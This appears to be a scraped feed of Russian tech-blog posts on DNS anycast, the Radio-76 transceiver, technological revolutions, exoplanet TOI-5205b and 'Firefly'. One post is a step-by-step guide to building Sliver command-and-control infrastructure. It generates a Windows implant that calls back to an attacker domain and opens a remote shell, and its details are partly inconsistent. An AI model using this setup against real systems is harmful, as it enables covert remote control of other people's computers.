Лучше понизить приоритет, чем полностью убрать анонсы

Автоматический drain при деградации сервиса — это здорово, пока это не решат сделать все участники DNS одновременно, одна компания в 2021 году в этом убедилась. Можно понижать приоритет автоматикой, оставить запасной less‑specific как статический маршрут или использовать третий адрес вне anycast — вариантов предохранителей много, главное — чтобы он у вас был.

Итоги

Это была интересная задача и я доволен тем, как всё получилось. После переезда на новую архитектуру нам стало намного проще жить: коллеги больше не боятся трогать DNS, вся история и конфиги — в репозиториях и управляются однообразно, а сломать сам DNS теперь намного труднее. Но всё еще можно, конечно.

Спасибо за внимание!

Юбилей легенды

Sat, 18 Apr 2026 09:01:40 +0000

Сегодня, в Международный день радиолюбителя, я хотел бы вернуться к теме легендарного радиолюбительского трансивера «Радио-76». Тем более, в этом году исполняется ровно пятьдесят лет со дня публикации его конструкции. Трансивер разрабатывался в лаборатории журнала «Радио» с целью создать простую любительскую радиостанцию с хорошей повторяемостью. И это разработчикам трансивера Б. Степанову (UW3AX) и Г. Шульгину (UA3ACM) удалось. Есть, конечно, у «Радио-76» недостатки, но у многих начинающих радиолюбителей и у меня тоже именно он был первым трансивером в собственности, поэтому дальше — только с любовью и нежностью.

Конструкция аппарата стала воистину «народной». За прошедшие пятьдесят лет было предпринято множество попыток улучшения конструкции «Радио-76» [1], включая авторскую модификацию «Радио-76М2» [2]. Во всех вариациях на тему этого трансивера неизменным оставался лейтмотив структурной схемы основной платы с электромеханическим фильтром (ЭМФ) в качестве основного фильтрующего элемента.

Ещё одной характерной особенностью трансивера является переключение гетеродинов между смесителями при переходе с приёма на передачу, что хорошо видно из структурной схемы, приведённой выше.

Как работает основная плата «Радио-76»...

В режиме приёма (RX) получаемый из эфира сигнал проходит через внешний ДПФ (диапазонный полосовой фильтр) и поступает на вход левого кольцевого смесителя. На другой вход этого смесителя подаётся сигнал генератора плавного диапазона (ГПД) с частотой на 500кГц выше частоты принимаемого сигнала. Смеситель выполняет функцию умножения этих сигналов, в результате чего производится перенос спектра принимаемого сигнала на частоту 497…503кГц. Этот сигнал подаётся на вход первого усилителя промежуточной частоты (УПЧ-1), а затем из него электромеханическим фильтром (ЭМФ) выделяется верхняя боковая полоса (ВБП), т.е. сигналы частотой 500…503кГц. Сигнал ВБП дополнительно усиливается УПЧ-2 и подаётся на вход правого кольцевого смесителя. На другой вход этого смесителя подаётся с кварцевого генератора сигнал опорной частоты 500кГц, в результате чего спектр сигнала с частотой 500…503кГц переносится в диапазон звуковых частот (ЗЧ). Демодулированный таким образом сигнал подаётся на вход усилителя низких частот (УНЧ) для вывода через динамик.

Теперь о достаточной важной для комфортной работы системе, которая на структурной схеме основной платы не обозначена. С выхода УНЧ принятый сигнал поступает на вход системы автоматического регулирования усиления (АРУ), которая, по сути, является цепью отрицательной обратной связи для предотвращения переусиления принимаемого сигнала усилителями промежуточной частоты. На моей памяти, любая реализация этой функции всегда вызывала у какой-либо части радиолюбителей нарекания. Отметим, что к режиму приёма «Радио-76» других каких-то особых нареканий не было.

В режиме передачи (TX) структурная схема основной платы изменяется незначительно. На входы левого кольцевого смесителя для переноса спектра звуковых частот в диапазон 497…503кГц подаются сигналы с микрофонного усилителя и кварцевого генератора опорной частоты 500кГц. Полученный таким образом двухполосный сигнал с подавленной несущей усиливается УПЧ-1, ЭМФ выделяет из него ВБП, сигнал с ВБП усиливается УПЧ-2 и подаётся на вход правого кольцевого смесителя. На другой вход этого смесителя подаётся сигнал ГПД с частотой на 500кГц выше частоты формируемого на передачу сигнала. Диапазонный полосовой фильтр на выходе смесителя выделяет из результирующего спектра нужный для передачи сигнал.

...и что бы в её работе хотелось улучшить

А теперь ещё раз пройдём по этой цепочке и сосредоточимся на недостатках:

В микрофонном усилителе из состава основной платы трансивера нет ни АРУ, ни компрессора. Микрофон приходилось держать из-за этого очень близко ко рту и слова тянуть, чтобы разборчивость обеспечить.
Кольцевые смесители и в «Радио-76», и в «Радио-76М2» балансными только называются. Фактически, качественного подавления сигнала гетеродина они не обеспечивают. И если неподавленный правым смесителем сигнал с частотой настройки ГПД ещё как-то отфильтровывается с помощью ДПФ, то отфильтровать неподавленный левым смесителем сигнал опорной частоты 500кГц силами ЭМФ было уже невозможно.
При переключении трансивера на передачу происходит скачкообразный сдвиг частоты ГПД на 200…300Гц. На это влияет и нестабильность по питанию, и разница входных сопротивлений смесителей, и ещё множество менее значимых факторов.

Ещё к недостаткам «Радио-76» можно отнести его «однодиапазонность» и отсутствие режима работы радиотелеграфом. Доработки, конечно, публиковались в журнале «Радио». Я в своё время перепробовал большинство из них, но что-то однозначно законченное и целостное из этого так и не сложилось.

И завершая про недостатки: «Радио-76» во всех его воплощениях существовал совершенно отдельно от усилителей мощности. Мне очень хотелось иметь полностью транзисторный аппарат, но хорошо, линейно и без самовозбуждения заработал у меня только ламповый усилитель, сделанный по мотивам опубликованной в «Радио» №7 за 1976 год схемы [1].

Изменить, не меняя сути

Попробуем разобраться, что же делает любую вариацию на тему этой конструкции именно трансивером «Радио-76»? Где пределы совершенствования, за которыми конструкция теряет свою сущность?

Эти вопросы неоднократно обсуждались на радиолюбительских форумах. Консенсус сложился вокруг использования в схеме трансивера ЭМФ как основного фильтрующего элемента и кольцевых балансных смесителей на диодах. От этого и будем отталкиваться.

За основу возьмём схему радиотракта основной платы трансивера «Радио-76М2». Диоды и транзисторы поменяем на более доступные и качественные импортные.

Схему кольцевых балансных смесителей сделаем более «сбалансированной», чем в оригинале [8]. О результатах такой доработки я писал пять лет назад в публикации «Легендарный трансивер «Радио-76». Там же было про использование синтезатора Si5351A-B-GT в качестве ГПД и генератора опорной частоты 500кГц. Замена оригинального ГПД на синтезатор была обусловлена тем, что мне очень не хотелось терять время на отладку аналогового гетеродина.

И этой заменой удалось тогда «убить» сразу двух «зайцев»: избавиться от сдвига частоты при переключении гетеродинов между смесителями, а также значительно упростить схему трансивера, убрав оттуда плату ГПД и плату генератора опорной частоты 500кГц и электронного коммутатора гетеродинов.

При этом из-за управления синтезатором схема трансивера «усложнилась» платой Black Pill F411, но это же и дало возможность добавить управление трансивером по CAT-интерфейсу, о чём было поведано миру в публикации «CAT-интерфейс для трансивера «Радио-76».

Отметим, что от замены достаточно сложного в отладке аналогового генератора плавного диапазона на «бездушный» цифровой синтезатор с управляющим микроконтроллером сущность трансивера «Радио-76» не поменялась. Он просто стал улучшенной версией самого себя.

Ещё один шаг...

Теперь вернёмся к вопросам по теме УНЧ, АРУ и микрофонного усилителя. Всё это решается применением подходящей микросхемы кодека, которую можно сопрячь с микроконтроллером по интерфейсу I2S.

И мы сразу получим на базе этого кодека и микрофонный усилитель с системой АРУ и компрессором; и УНЧ со своей АРУ, изменяемой полосой пропускания и своими собственными каналами АЦП и ЦАП; и независимую от УНЧ систему АРУ со своим каналами АЦП и ЦАП для управления усилением основной платы; и систему VOX.

И что немаловажно, на связке кодека с микроконтроллером можно обеспечить связь трансивера как звукового устройства USB с программами для работы цифровыми видами модуляции, а также обеспечить качественную работу «Радио-76» телеграфом. На фото выше показано, как на одном «железе» уживались контроллер для управления трансивером по CAT-интерфейсу и «ямбический» электронный ключ.

...с которого начинается путь...

Как видите, наработок по теме достаточно. На базе схемы основной платы трансивера «Радио-76М2» с обвязкой из синтезатора, кодека и микроконтроллера вполне себе можно сделать отвечающий духу времени недорогой радиолюбительский трансивер третьей категории.

С промежуточной частотой 500кГц можно обеспечить работу этого трансивера на диапазонах 160, 80, 40 и 30м. Попытки модернизировать «Радио-76» с одним преобразованием частоты для работы на диапазоне 20м были, но не очень успешные [7].

Очень многие сложности с повторяемостью конструкции можно решить, если при разработке ориентироваться на какой-нибудь бюджетный корпус типа Gainta G767. Половину корпуса занять основной платой и платой контроллера, а вторую половину оставить под усилитель мощности.

Очень надеюсь на как минимум моральную поддержку сообщества. Без неё начинать проект по реинкарнации «Радио-76» смысла нет. Ссылку на канал не даю, пишите в комментарии или «личку».

Список литературы

Я намеренно включил в список только публикации из журнала «Радио», поскольку трансивер «Радио-76» был их фирменной разработкой.

В части «многодиапазонности» стоит вдумчиво изучить [6] и [7]. Про сложность «классической» реализации телеграфного режима в однополосном радиотракте с помощью дополнительного гетеродина и активного фильтра ЗЧ следует читать в [5] и [7].

Степанов Б., Шульгин Г. Трансивер «Радио-76». — Радио, 1976, № 6, с. 17–19, 26; № 7, с. 19–22.
Степанов Б. О трансивере «Радио-76». — Радио, 1981, № 9, с. 18–19.
Степанов Б., Шульгин Г. Трансивер «Радио-76М2». — Радио, 1983, № 11, с. 20–23; № 12, с. 16–18.
Степанов Б., Шульгин Г. Усилитель мощности… — Радио, 1984, № 10, с. 18–21.
Степанов Б., Шульгин Г. Телеграф в «Радио-76М2». — Радио, 1985, № 2, с. 18–20.
Степанов Б., Шульгин С. Семидиапазонный КВ-приёмник. — Радио, 1985, № 6, с. 17–21; № 7, с. 22–23.
Касминин Г. Из «Электроники — Контура — 80» 4-диапазонный трансивер. — Радио, 1985, № 1, с. 18–20.
Меньшов В., Булатов А. Улучшение смесителей в «Радио-76» и «Радио-76М2». — Радио, 1988, № 12, с. 23–24.

От автора

Значение трансивера «Радио-76» для развития радиолюбительского движения в нашей стране переоценить невозможно. И, что для меня очень важно, он заслужил народную любовь, а любовь — это чувство, которое объединяет и создаёт.

Что-то в этой публикации родилось сразу. Отдельные места пришлось многократно переписывать. И я вспоминал, как в далёком 1984 году потратил много месяцев, чтобы мой «Радио-76», сделанный из набора «Электроника-Контур-80», заработал на передачу, и как я вернулся к этой теме в 2021 году, и как мне удалось избавить то, что осталось от моего трансивера, от характерных для «Радио-76» недостатков.

Я принципиально не пользуюсь нейросетями, чтобы писать. Всё, что я пишу, основано на моём опыте и чувствах, которые я тогда испытывал. Я радиолюбитель, я люблю радио, и мне нравится писать о радио и электронике.

Снятся ли нейросетям легендарные микросхемы? Способна ли она писать об электронике с такой любовью, как я? Не думаю…

Любовь творит добро. Добрые чувства рождают добрые слова, добрые слова пробуждают добрые эмоции. Зачем отдавать это на откуп нейросетям и умножать этим скорбь в нашем и без того неидеальном мире?

Да пребудет с вами любовь к радио!

73! de RD9F

Мифы о технологических революциях

rukhi7 — Sat, 18 Apr 2026 08:31:10 +0000

Мне показалась интересной тема поднятая в статье: Четыре промышленные революции и одна закономерность: почему нынешний переход отличается от предыдущих

Я начал заниматься программированием когда еще не было такого понятия IT — информационные технологии, и мой взгляд на эту тему кардинально отличается от того что изложено в той статье, и наверно от того что на сегодняшний день можно называть мейнстримом. Если вас интересует аргументированный альтернативный взгляд, если вы готовы анализировать, а не просто вешать ярлыки, приглашаю вас порассуждать о том что мы имеем, как мы к этому пришли и на основе этого попробовать спрогнозировать что будет. Это не критика исходной статьи, как может показаться. Это вольная интерпретация одной единственной мысли из этой статьи которая помогла мне сформулировать, то что давно варилось у меня в голове.

По моему главное в сегодняшней ситуации в индустрии IT (и наверно не только в IT? Но и вообще в высокотехнологичной индустрии) ярко выражено в этом призыве:

В этой статье я попробую разобрать, что происходит сейчас, через призму исторических данных. Потому что паттерн повторяется — и это важно понять, чтобы принять правильные решения.

Нас призывают «принять правильные решения», нас не спрашивают какие проблемы видим мы, существуют ли, объективно проблемы которые зависят от нашего решения. Мы же взрослые люди, мы же понимаем что проблему, которую надо решить, надо не только сформулировать! Надо еще и понять, а как наши действия, поведение могут влиять на развитие или устранение этой проблемы? Есть ли у нас вообще возможность что-то решать относительно этой проблемы и является ли эта проблема проблемой конкретно для нас, для кого из нас? …

А про ИИ мы вспомним в самом конце.

Что это мне напоминает или Лозунги вместо реальных задач.

Теперь наверно мало кто помнит у нас уже было время лозунгов. Был например такой: «Нынешнее поколение советских людей будет жить при коммунизме!». А что такое коммунизм, а точно лучше жить при коммунизме чем при любом другом -изме или просто нормально жить? Может поколение людей лучше само определит как ему жить лучше?

Что тут интересно? Совсем не про коммунизм и не про советскость, а про то что одни люди пытаются определить для других людей определенные рамки их жизни, их будущего, их предназначения и это не меняется веками!

И в этой формуле

Потому что паттерн повторяется — и это важно понять, чтобы принять правильные решения.

мне кажется, присутствует абсолютно то же желание навязать парадигму существования, ограничить будущее: задать-определить какой-то, видимо самый-главный-паттерн, который повторяется, который если вы не поймете вы вместо светлого будущего попадете в мрачное, недостойное;

вы должны что-то решать и решить, вы не можете просто спокойно жить и работать, вас ожидает какой-то выбор, вы должны все бросить и начать готовиться к чему-то о чем вам расскажет тот кто все знает.

Это даже хуже лозунга это звучит как угроза.

Как говорил незабвенный профессор Преображенский (я позволю себе перефразировать) люди сами создают себе проблемы такими установками, а когда человек подчинил себя этим установкам он начинает распространять эти установки на окружающих. Принципиальным отличием нашего современного технологического уклада является то, что раньше люди были очень ограничены в трансляции этих ограничивающих установок на окружающих. Современные технологии позволяют практически любому написать, например, статью на Хабре и заражать неограниченное количество людей не самыми конструктивными идеями.

Проблема еще и в том, что как раз не самые конструктивные идеи чаще всего выглядят как простое и надежное и понятное большинству решение и все больше людей загоняют себя в рамки и начинают защищать идею не выходить за эти рамки. Мы должны понимать паттерн и принимать правильные решения, а если мы вдруг вернемся к нормальной жизни где нам не надо следить за паттерном и следить за правильностью решений, мы можем осознать, что все это напряжение, которое мы испытывали в парадигме того, что мы должны готовиться к чему то разрушающему нашу жизнь, Все это напряжение и фатализм нам совершенно не нужно, что оно нас сковывает и уничтожает по сути нашу жизнь, что эта подготовка и есть разрушение нашей жизни. Если мы откажемся от этой парадигмы ожидания разрушения, мы можем осознать что это пережитое напряжение мы создали себе сами и совершенно впустую и это страшно. И это приводит к агрессии к тем кто просто живет не создавая себе установок, что называется без фанатизма и вне мейнстрима. Я наблюдаю как увеличилось количество людей которые понимают только им известные смыслы и которые превратили себя в рабов этих непонятных смыслов, для которых эти смыслы истина, а реальность с которой они постоянно сталкиваются это сплошное недоразумение, которое надо исправить-привести в соответствие с великими смыслами. Мы вступаем во времена недетерминированного, латентного фанатизма, когда фанатики защищают не какую-то более менее разработанную идеологию-теорию-религию, а когда каждый придумывает свою собственную, потому что все идеологии-теории-религии смешались и каждый может набрать подходящий только ему список догм. Это беда единого информационного пространства, превращения мира в одну большую деревню в которой все знают все и могут думать что все знают.

Я, кажется, где-то тоже читал что любое научное знание это догма, но это обоснованная догма которая существует до тех пор пока основания не были подвергнуты сомнению. Другими словами это знание, верификация которого НЕ прекращается, знанием является только то чему ПОКА не получено опровержения. Мы должны следить, а не станет ли применение нашего знания, сколь угодно устоявшегося знания, абсолютно новой проверкой этого знания, которой еще никогда не выполнялось. И для такого нового применения знания это знание переходит в категорию гипотезы, а не знания до тех пор пока знание не будет этим новым применением вновь подтверждено.

Однозначно можно сказать только одно: «История развивается по спирали!» Растет уровень фанатизма среди людей. Мысли и устремления людей все больше расходятся/отрываются от реальности, все больше людей пытаются строить какую-то свою придуманную реальность и таким образом все больше людей выпадают из реальности настоящей и используют ресурсы и других людей(!) все более неконструктивно, неэффективно, и в конце концов во вред людям и целям развития общества людей и это, очевидно, не может продолжаться вечно. Именно в этом случае реальность становится суровой, именно реальность которую долго и упорно игнорировали становится Суровой реальностью, реальностью которая подстерегает и бьет и может уничтожить. И на это может наложиться противоборство придуманных альтернативных миров разных видов фанатиков. Суровая реальность меняет вектор генерации-развития идей у людей. Люди на время возвращаются к законам настоящей реальности, начинают следить чтобы идеи не расходились с этими законами, чтобы идеи не усложнялись неимоверно избыточно, чтобы оценивались результаты в настоящей реальности, а не в придуманной и люди становятся способны начинать и вести настоящие дела, а иногда это доходит до состояния Свершений. Этот период становится возрождением, ренессансом, расцветом, но, к сожалению тоже в конце концов заканчивается. Люди рождаются и умирают, и взамен тех кто создавал дело и, соответственно, знал как и почему это дело связано с законами реальности, приходят те кто не понимает этих связей случайно или намеренно, не важно! Приходят те кто снова будут придумывать свою версию мира и которые смогут определить законы новой реальности в которой этим людям будет проще и удобнее существовать, какое-то время(!) за счет ресурсов накопленных на предыдущей фазе.

Мне кажется что в современном мире эта спираль не одна, есть разные группы людей которые формируют собственные спирали переходов от фанатизма к реальности и обратно. Но у меня есть смутное ощущение что эти разные спирали каким-то образом синхронизируются, и подстраиваются чтобы максимально эффективно преподать нам очередной урок новой Суровой реальности? Но может они, эти спирали, хотят позаботиться о нашем будущем таким образом? Чтобы в следующий раз мы максимально долго не отрывались от настоящей реальности или, вообще, придумали бы наконец-то методику совсем никогда не отрываться от нее.

А теперь неожиданный поворот. Если верно то что я предполагаю, все упирается в отношения между людьми, а точнее в методы и способы того как одни люди распоряжаются другими людьми. Можно например рассмотреть конвейер как один из таких способов. Считается что конвейер изобрел Форд (кажется) и появился он в начале 20-го века. Но кто знает, может быть на строительстве Египетских пирамид применялся более совершенный конвейер? И если это так то тысячи лет не принесли особых изменений в способ этого вида отношений между людьми на производстве. И тут мы подходим к вопросу, а способен ли ИИ изменить что-то в этих отношениях между людьми. Вы всерьез думаете что кто-то, обладающий властью распоряжаться людьми, променяет эту власть над людьми на власть распоряжаться машинами? Если вы заметили, это даже звучит несуразно: «власть распоряжаться машинами», любой автомеханик (хороший-профессиональный) уже имеет эту, так называемую, власть.

Вы не пробовали рассмотреть проблемы связанные с применением ИИ в таком ракурсе?

[Перевод] Такого быть не должно: гигантская планета вращается вокруг маленькой звезды

SLY_G — Sat, 18 Apr 2026 08:13:33 +0000

На этой художественной иллюстрации изображён газовый гигант TOI-5205 b, вращающийся вокруг звезды класса M (красного карлика). Астрономы ожидают обнаружить массивные газовые гиганты вокруг звёзд, масса которых превышает массу этой звезды, поэтому такая конфигурация вызывает недоумение. Это не единственный газовый гигант, вращающийся вокруг звезды с малой массой, и в совокупности они ставят под сомнение представления астрономов о формировании планет.

Согласно небулярной гипотезе, звёзды и вращающиеся вокруг них планеты формируются из одного и того же запаса вещества, называемого протопланетной туманностью. Это наиболее общепринятое объяснение того, как формируются планетные системы. Но, несмотря на то, что эта гипотеза способна объяснить многие аспекты формирования планетных систем, у неё остаются некоторые нерешённые проблемы.

Исследования экзопланет и их звёзд часто ставят под сомнение небулярную гипотезу. Исследователи, занимающиеся поиском планет, обнаружили массивные газовые гиганты размером с Юпитер — и даже больше — вращающиеся в непосредственной близости от своих маломассивных звёзд. Некоторые из этих планет находятся ближе к своим маленьким звёздам, чем Меркурий к Солнцу. Как формируются гигантские планеты в таких сценариях — это вопрос, на который небулярная гипотеза не даёт ответа.

Проблема заключается в том, что у звёзд с малой массой протопланетные диски тоже имеют малую массу, а именно в этих дисках содержится материал, из которого формируются планеты. Налицо несоответствие между дисками с малой массой и газовыми гигантами с большой массой. Из простой логики следует, что планеты с большой массой должны формироваться в дисках с большой массой.

Одним из таких газовых гигантов, вращающихся по плотной орбите вокруг звезды с небольшой массой, является TOI-5205b. Он обращается вокруг карликовой звезды класса M, расположенной на расстоянии около 282 световых лет. Это планета с малой орбитой и массой около 1,08 массы Юпитера, которой требуется всего 1,6 дня для полного оборота вокруг звезды. Группа астрономов открыла её в 2023 году на основе данных спутника NASA Transiting Exoplanets Survey Satellite (TESS) и подтвердила открытие с помощью различных наблюдений на других телескопах и приборах.

«TOI-5205b имеет одно из самых высоких отношений масс для планет у карликов класса M — почти 0,3%, поскольку она обращается вокруг звезды-хозяина, масса которой составляет всего 0,392 ± 0,015 массы Солнца», — пишут авторы статьи. «Большая масса TOI-5205b ставит под сомнение традиционные теории формирования планет и соотношения масштабирования дисков, которые не могут легко воссоздать условия, необходимые для образования таких планет».

Художественная иллюстрация протопланетного диска. Соотношения масштабирования дисков показывают, что массивные газовые гиганты должны образовываться вокруг звёзд с большой массой, поскольку у этих звёзд также более массивные диски. Но не все комбинации экзопланет и звёзд соответствуют этому.

Теперь многие из тех же исследователей вернулись к изучению TOI-5205b. Они возглавляют программу наблюдений «Уэбба», направленную на экзопланеты, подобные TOI-5205b, под названием GEMS: Giant Exoplanets around M dwarf Stars (Гигантские экзопланеты вокруг звёзд-карликов класса M). GEMS использует «Уэбб» для изучения атмосфер этих планет, и TOI-5205b является основной целью, поскольку её транзит перед звездой очень глубокий.

Новое исследование озаглавлено «GEMS и „Уэбб“: спектроскопия пропускания TOI-5205b выявляет значительное загрязнение звёздной материей и атмосферу с низким содержанием металлов» и опубликовано в журнале The Astronomical Journal. Ведущий автор — Калеб Каньяс. Каньяс — стипендиат постдокторской программы в Центре космических полётов имени Годдарда НАСА.

«Недавние открытия транзитных гигантских экзопланет (Rₚ ≳ 8 R⊕) вокруг карликов класса M дают возможность исследовать состав их атмосфер и изучить, как такие массивные планеты формируются вокруг звёзд с малой массой, вопреки предсказаниям моделей формирования», — пишут исследователи. В их статье представлены первые спектры пропускания TOI-5205b. «Уэбб» зафиксировал три спектра атмосферы планеты, когда она трижды прошла перед своей звездой.

Эти спектры также преподнесли несколько сюрпризов. Атмосфера TOI-5205b имеет более низкую концентрацию металлов (на языке астрономов — элементов тяжелее водорода и гелия), чем у газовых гигантов, таких как Юпитер в нашей Солнечной системе. Её атмосфера также имеет более низкую металличность, чем у её звезды. Это отличает её от любой другой массивной планеты, когда-либо изученной.

В атмосфере экзопланеты также присутствуют метан и сероводород, что не так шокирует, но всё же достаточно важно.

«Характеристика внутренней структуры гигантских планет является важным шагом в улучшении нашего понимания истории их формирования», — объясняют исследователи. «Ключевым свойством гигантской планеты является общая металличность».

Собрав спектральные данные об экзопланете, исследователи обратились к атмосферным моделям, чтобы понять, что эти спектры говорят об общей металличности экзопланеты. Модели показали, что общий состав TOI-5205b почти в 100 раз богаче металлами, чем её атмосфера.

«Мы наблюдали гораздо меньшую металличность, чем предсказывали наши модели для общего состава планеты, который рассчитывается на основе измерений массы и радиуса планеты. Это указывает на то, что тяжёлые элементы мигрировали внутрь во время формирования, и теперь её недра и атмосфера не смешиваются», — пояснил Каньяс. «В целом эти результаты указывают на очень богатую углеродом и бедную кислородом атмосферу планеты».

По сравнению с газовыми гигантами нашей Солнечной системы это очень странная ситуация, хотя у Юпитера и Сатурна тоже не наблюдается смешивания атмосферы с недрами. Химический состав, богатый углеродом и бедный кислородом, предполагает состав, сильно отличающийся от состава её звезды-хозяина. Это может означать, что экзопланета сформировалась в области протопланетного диска, где было много углеродсодержащего льда, но не было водяного льда — основного источника кислорода. Возможно, экзопланета мигрировала по мере своего формирования, собирая различные материалы при прохождении через разные области диска. Это также могло бы объяснить, почему она находится на такой узкой орбите. Или это может означать, что она аккрецировала очень мало каменного или ледяного материала и в основном аккрецировала газ.

В любом случае это ставит под сомнение предсказание небулярной гипотезы о том, что состав газового гиганта в значительной степени соответствует составу его звезды.

Однако исследователи указывают на некоторые оговорки в своих результатах, в основном связанные с активностью звезды, которая может вносить шум в спектры транзита. «Мы предупреждаем, что значительное звёздное загрязнение и отсутствие обнаружения воды могут привести к занижению значений металличности атмосферы, и будущие наблюдения в рамках GO 7683 (Общая программа наблюдений „Уэбба“) помогут подтвердить или опровергнуть эти выводы», — пишут они.

TOI-5205b — одна из семи планет, изучаемых в рамках проекта GEMS. Как только у исследователей появятся подробные данные по всем из них, они смогут лучше понять TOI-5205b в более широком контексте. Они объясняют, что GEMS предоставит «… выборку хорошо охарактеризованных атмосфер тёплых юпитеров, которая (i) обеспечит данные об атмосферной и объёмной металличности, чтобы рассмотреть TOI-5205b в более широком контексте, и (ii) позволит провести сравнение с горячими юпитерами и газовыми гигантами Солнечной системы для изучения потенциальных ограничений на формирование GEMS».

Как я собрал себе C2 на малинке за один вечер

BlackQube — Sat, 18 Apr 2026 08:02:27 +0000

Всем привет!

Давно хотел поднять свой C2-сервер. Ну, чтобы как большие мальчики — с доменом, прокси, шифрованным туннелем. Но покупать VPS с 8GB RAM и платить за Cobalt Strike как-то жирновато. Решил: будет малинка.

ВНИМАНИЕ : Эта статья предназначена для ознакомления начинающим исследователям в области кибербезопасности. Я не буду тут показывать как обходить защиту windows и какие либо системы обнаружения угроз . Перед загрузкой вредоносного файла я отключил защиту в windws.

Что взял из железа и софта

Raspberry Pi 4 (4GB). Валялась без дела.
SD-карта на 32GB.
Самый дешёвый VPS на 2GB за 4 евро в месяц. На нём - HAProxy.
Tailscale (бесплатно на 3 устройства).
Sliver - открытая альтернатива Cobalt Strike.
DuckDNS - бесплатный динамический DNS.

АРХИТЕКТУРА :
Имплант → xxxxxxxx.duckdns.org:443 → VPS (HAProxy) → Tailscale → Pi4 (Sliver:31337)

Настройка Tailscale

На Pi и VPS:

bash

curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up

После авторизации получаем IP:

Pi: 100.92.XX.XXX
VPS: 100.106.XXX.XX

Проверяем связь:

bash

ping 100.92.XXX.XXX

Установка Sliver на Pi

Скачиваем бинарник:

bash

cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server

Запускаем:

bash

sliver-server daemon --lhost 0.0.0.0 --lport 31338

Слушатель создаётся на порту 31337.

Настройка VPS (HAProxy)

Устанавливаем:

bash

sudo apt install -y haproxy

Конфиг /etc/haproxy/haproxy.cfg:

haproxy

global
    log /dev/log local0
    maxconn 10000

defaults
    mode tcp
    timeout connect 5s
    timeout client 60s
    timeout server 60s

frontend sliver_frontend
    bind :443
    default_backend sliver_backend

backend sliver_backend
    server pi4 100.92.XXX.XXX:31337 check

Запускаем:

bash

sudo systemctl enable haproxy
sudo systemctl start haproxy

Настройка домена (DuckDNS)

Регистрируем домен xxxxxxxx.duckdns.org, привязываем к публичному IP VPS.

Проверяем:

bash

dig xxxxxxx.duckdns.org

Генерация импланта

В консоли Sliver создаём слушатель:

bash

http --domain xxxxxxxxx.duckdns.org --lhost 0.0.0.0 --lport 31337

Генерируем имплант:

bash

generate --mtls supersnusik.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe

Получение сессии

Переносим файл на тестовую Windows 10, запускаем.

В консоли Sliver:

bash

sessions

Результат:

когда жертва открыла ссылку , имплант автоматически скачался

text

[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64

Сессия получена. Работаем:

bash

sessions -i c5360843
shell

Итог

Готовая C2-инфраструктура за один вечер.

Плюсы:

Бесплатное ПО (кроме VPS)
Управление с телефона через Tailscale + Termius
Возможность масштабирования

Расходы: 4€ в месяц за VPS.

Полезные команды

bash

# Запуск Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338

# Создание слушателя
http --domain ваш-домен.duckdns.org --lhost 0.0.0.0 --lport 31337

# Генерация импланта
generate --mtls ваш-домен.duckdns.org:443 --format exe --save /tmp/sliver.exe

# Просмотр сессий
sessions

# Интерактивный shell
sessions -i <id>
shell

Заключение

Sliver - отличная бесплатная альтернатива коммерческим C2. Raspberry Pi + Tailscale + HAProxy дают надёжную и дешёвую инфраструктуру. Всё работает стабильно, сессии не теряются.

Вопросы и комментарии приветствуются.

Благородные рыцари в космосе. Вспоминаем сериал «Светлячок»

Sat, 18 Apr 2026 08:01:25 +0000

«Светлячок» купается в любви и фанатской преданности. Сложно поверить, что начало его жизни не такое яркое — боссам канала FOX он катастрофически не нравился. На протяжении съемок Джоссу Уидону — создателю — вставляли палки в колеса. То вестерн менеджерам казался не в тему, то герой недостаточно благороден, то часть серий не пустили в эфир. Увы, дальше первого сезона сериал не прожил, а полностью и в верном порядке вышел на DVD в 2003-м.

Культовый статус сериал получил быстро. Но достойного продолжения, мечты фанатов, — нет. Полнометражка и пачка комиксов — не то.

На арте не хватает пилота, врача и пастора, но в тексте о них не забудем

Спустя почти четверть века справедливость готова восторжествовать! Скоро увидим анимационную адаптацию. Какой она будет — узнаем, а сейчас давайте обсудим капитана Малкольма Рейнольдса — в мире сериала сверхтяжелый объект, потому что именно он притягивает неприятности. И людей — искажает их «орбиты», порой разрывает на кусочки.

О шаблонах, архетипах и стереотипах в сериалах

К 2004-му медиамашина в США точно знала, что, как и в каком формате нужно людям. Книги, фильмы, сериалы — практически все показывали примерно одинаковых героев и примерно одинаковые сюжеты, иногда лишь меняя сеттинг. Даже игры затянуло в конвейер Хороших парней всех сортов.

И вот очередная история про Хорошего парня в космосе. Как сделать ее хоть капельку оригинальнее? Джосс Уидон взял вестерн и свои мысли о гражданской войне в США, перемешал, возможно встряхнул — рецепт «Светлячка» готов.

Важной фигурой в сериале стал капитан, он же герой — Малкольм Рейнолдс. Из-за боссов FOX его характер слегка изменился, однако в основе рецепта мы имеем ни много ни мало — настоящего рыцаря. Без страха, но с упреками.

Сверхтяжелый объект в космосе, или Капитан Малкольм Рейнолдс

«Человек чести в воровском логове» — так капитана Малкольма в первой серии называет харизматичный контрабандист Бэджер. И именно кодекс чести Малкольма и его специфическое представление о справедливости первым делом западают в душу.

Ну, как в момент, когда Мэл в первой серии просто убивает горе-спецагента. Или во второй отправляет несговорчивого контрабандиста полетать в турбине корабля. Или когда называет Инару… не будем говорить как. Добрый — не добрый, злой — не злой. Но точно сильно влияющий на всех вокруг, вносящий элемент то хаоса, то порядка в происходящее.

Та самая доброта с кулаками

По задумке автора сериала Джосса Уидона Малкольм Рейнольдс — не герой. Не спаситель, не добрый малый, даже скорее антигерой. Но боссы FOX потребовали сделать Мэла добрее. Так, в серии про ограбление поезда он не должен был отдавать лекарства, и его положительные черты планировали показывать намного позже.

«„Мэл“ — это „злой“ на латыни», — говорит Ривер в одной из серий. Ривер вообще единственный персонаж, который боится капитана как огня и всячески избегает встреч с ним. Возможно, в ее уста создатели вложили реальную оценку характера Мэла.

«Милосердие — признак великого человека, а я просто хороший человек», — говорит Мэл, тыкая шпагой в лежащего и побежденного противника.

На поверхности бесстрашная фигура, лихой парень, за словом в карман не полезет и на всё саркастично отреагирует. Персонажи часто упоминают, как он благороден, но это сомнительно: Мэл изворотлив, в нем есть что-то от Хана Соло.

